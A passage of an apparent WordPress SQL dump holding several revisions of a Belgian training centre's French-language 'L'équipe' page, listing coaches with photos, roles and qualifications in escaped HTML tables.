#ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:39:55', '2013-07-03 19:39:55', '', 20, 'http://www.crosstrainingcenter.be/?p=244', 0, 'revision', '', 0),
(245, 1, '2013-07-03 19:41:42', '2013-07-03 19:41:42', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:41:42', '2013-07-03 19:41:42', '', 20, 'http://www.crosstrainingcenter.be/?p=245', 0, 'revision', '', 0),
(246, 1, '2013-07-03 19:42:52', '2013-07-03 19:42:52', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:42:52', '2013-07-03 19:42:52', '', 20, 'http://www.crosstrainingcenter.be/?p=246', 0, 'revision', '', 0),
(247, 1, '2013-07-03 19:44:26', '2013-07-03 19:44:26', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr 